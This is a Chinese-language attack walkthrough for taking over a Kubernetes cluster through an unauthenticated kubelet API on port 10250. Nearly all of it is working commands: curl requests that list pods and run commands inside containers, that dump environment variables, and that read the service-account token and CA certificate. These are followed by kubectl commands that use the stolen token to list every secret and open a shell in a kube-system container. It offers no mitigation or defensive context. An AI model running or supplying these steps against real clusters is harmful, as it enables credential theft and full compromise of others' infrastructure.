Kubernetes: 未授权kubelet API 10250端口令牌窃取与kubectl接管
初始探测与容器枚举
通过kube-hunter扫描发现开放的10250端口后,使用以下命令获取运行中的Pod列表:
1
|
curl -s https://k8-node:10250/runningpods/
|
容器内命令执行
利用返回的Pod信息构造POST请求在容器内执行命令:
1
|
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /"
|
输出显示容器文件系统结构,确认命令执行成功。
环境变量与密钥提取
检查环境变量寻找Kubernetes认证凭据:
1
|
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env"
|
重点关注以下环境变量:
KUBERNETES_PORT=tcp://10.10.10.10:443
(API服务器地址)
KUBLET_CERT
、KUBLET_KEY
、CA_CERT
(认证凭据)
挂载密钥文件提取
当环境变量中未找到凭据时,检查挂载的secret文件:
1
2
3
4
5
6
7
8
9
|
# 查看挂载点
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=mount"
# 列出serviceaccount目录
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /var/run/secrets/kubernetes.io/serviceaccount"
# 提取token和CA证书
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
|
kubectl集群接管
使用获取的token和CA证书通过kubectl控制集群:
1
2
3
4
5
6
7
8
|
# 列出所有命名空间的Pod
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI... get pods --all-namespaces
# 获取所有secret
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI... get secrets --all-namespaces
# 在容器内获取shell
kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI... /bin/sh
|
替代认证方式
如果通过环境变量获取的是密钥文件而非token,使用以下命令格式:
1
|
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --client-key=kublet.key --client-certificate=kublet.crt get pods --all-namespaces
|
通过这种方法,攻击者可以完全接管Kubernetes集群,访问敏感数据并在任意容器内执行命令。